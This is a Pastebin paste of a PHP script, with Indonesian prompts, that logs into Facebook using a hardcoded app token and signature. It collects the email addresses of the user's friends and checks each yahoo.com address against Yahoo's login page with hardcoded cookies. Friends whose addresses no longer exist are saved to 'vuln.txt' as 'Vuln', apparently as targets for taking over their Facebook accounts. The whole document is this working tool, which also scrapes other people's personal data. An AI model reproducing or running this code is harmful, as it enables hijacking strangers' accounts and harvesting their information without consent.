cdfteller

GET email FB

Jul 14th, 2019
642
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.48 KB | None | 0 0
  1. <?php
  2. function curl($url, $headers, $body=false){
  3. $ch = curl_init();
  4. curl_setopt($ch, CURLOPT_URL, $url);
  5. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  6. if($body){
  7. curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
  8. curl_setopt($ch, CURLOPT_POST, 1);
  9. }
  10. curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  11. $result = curl_exec($ch);
  12. curl_close ($ch);
  13. return $result;
  14. }
  15.  
  16. function uniquedec($str){
  17. $str = preg_replace_callback('/u([0-9a-fA-F]{4})/', function ($match) {
  18. return mb_convert_encoding(pack('H*', $match[1]), 'UTF-8', 'UTF-16BE');
  19. }, $str);
  20. return $str;
  21. }
  22.  
  23. function refreshToken($user, $pass){
  24. $curl = json_decode(curl("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=$user&locale=en_US&password=$pass&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6t", array('content-type: application/x-www-form-urlencoded; charset=UTF-8')), true);
  25. $atok = @$curl['access_token'];
  26. return $atok;
  27. }
  28.  
  29. function Login($user, $pass){
  30. $curl = json_decode(curl("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=$user&locale=en_US&password=$pass&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6t", array('content-type: application/x-www-form-urlencoded; charset=UTF-8')), true);
  31. $atok = @$curl['access_token'];
  32. if(empty($atok)){
  33. echo "Invalid Login Or Challenge";
  34. }else{
  35. execute($atok,$user,$pass);
  36. }
  37. }
  38.  
  39. function getInfo($id, $atok){
  40. $curl = json_decode(curl("https://graph.facebook.com/$id?access_token=$atok", array('content-type: application/x-www-form-urlencoded; charset=UTF-8')), true);
  41. return array(uniquedec(@$curl['name']),uniquedec(@$curl['email']));
  42. }
  43.  
  44. function cekEmail($email,$info){
  45. if(!strpos($email, "yahoo.com")) return "Email Bukan yahoo.com";
  46. $body = "acrumb=r0ym3wFq&sessionIndex=QQ--&username=$email&passwd=&signin=Berikutnya";
  47. $headers = array();
  48. $headers[] = "Host: login.yahoo.com";
  49. $headers[] = "Connection: close";
  50. $headers[] = "Content-Length: ". strlen($body);
  51. $headers[] = "Origin: https://login.yahoo.com";
  52. $headers[] = "X-Requested-With: XMLHttpRequest";
  53. $headers[] = "Save-Data: on";
  54. $headers[] = "User-Agent: Mozilla/5.0 (Linux; Android 5.1.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36";
  55. $headers[] = "content-type: application/x-www-form-urlencoded; charset=UTF-8";
  56. $headers[] = "Accept: */*";
  57. $headers[] = "Referer: https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https%3A%2F%2Fid.yahoo.com";
  58. // $headers[] = "Accept-Encoding: gzip, deflate";
  59. $headers[] = "Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7";
  60. $headers[] = "Cookie: B=bsdofupef6m05&b=3&s=cb; AS=v=1&s=r0ym3wFq&d=A5cf4a985|jMIPWu7.2cLJcxs6XpWtNZpfSu2iUEitTvQOpy7dSwi8qrA.eePgXrFlzjOuWI3ZIgukxyDc5QlbZvzr2Rbn3XtnLVtbtdeTW60knzH.pDlDK850tCxhpd9wEKRYbybX08RBESssCSqh7nWvuB70yoG6oasYyYrZAcaU9bpp9jPAG6BK3m03aBqMefBnho7LGPKIfnzoTjYSqOfFGF98RL.B.QjyJ9UnYa9YQftrcKobIZ34LYcv6qNqRv3BeiETawcrxlmpMJg8ieBPfhewfNKBzO.Cqf7afFWmzRSa7qVjKM3xYyB0YVXzPeF.A6XcMyGfjXSIRFJMEj7dOHf5zid0eVfABh_vLuC562VeugHT5VYdcadj28hFObVyb2q5oJu5X5l1WKhhk4k0I6rPW9MO4yNtPcAjfgyuC4K7wYuEIBn90DKCi5sJCzoEaeuYuAOjVWZxib1fxSHJRJDOf6HrM7LQMDq0wEgaJo_1GipXivj80siROrShVwSLG4uBoYdEZmpYC7YUFbAOwFM2XaOt.woKjEJTKsaMeWpSfwvsWKT4WNNU_JHIkVdC3Eyfh52nvNExUiUNCvZWlShWg_spsmS_NfX7dAWtK2M1vPBynuuHgDhS6f8qv0ZuFytSqjEC5CmpYGtsJdQZ2FTCAmkuUd4ln5T1ShjX7Zg.egBRvHkWZkozoo7DIlsiisI-~A";
  61. $curl = curl("https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https%3A%2F%2Fid.yahoo.com", $headers, $body);
  62. if(strpos($curl, "messages.ERROR_INVALID_USERNAME")){
  63. $info = json_encode($info);
  64. if(!in_array($info, @explode("\n", str_replace("\r","",@file_get_contents("vuln.txt"))))) @file_put_contents("vuln.txt", $info."\n", FILE_APPEND);
  65. return "Vuln";
  66. }else{
  67. return "Not Vuln";
  68. }
  69. }
  70.  
  71. function get(){ return trim(fgets(STDIN)); }
  72.  
  73. function execute($atok,$user,$pass){
  74. $curl = json_decode(curl("https://graph.facebook.com/me/friends?access_token=$atok", array('content-type: application/x-www-form-urlencoded; charset=UTF-8')), true)['data'];
  75. $a = 0;
  76. while($a<count($curl)){
  77. $id = $curl[$a]['id'];
  78. $info = getInfo($id, $atok);
  79. if(empty($info[1])){
  80. $info[1] = "Can't Get Email This User";
  81. $cek = "INVALID";
  82. }else{
  83. $cek = cekEmail($info[1],$info);
  84. }
  85. if(empty($info[0])){
  86. $atok = refreshToken($user, $pass);
  87. echo "Refresh Token......\n\n";
  88. }else{
  89. echo "Nama : {$info[0]}\nEmail : {$info[1]} [$cek]\n\n";
  90. $a++;
  91. }
  92. }
  93. }
  94. echo "Kalo Vuln disave ke File vuln.txt\n\n";
  95. echo "Login FB Dulu\n";
  96. echo "?Username ";
  97. $user = get();
  98. echo "?Password ";
  99. $pass = get();
  100. Login($user, $pass);
Advertisement
Comments
Add Comment
Please, Sign In to add comment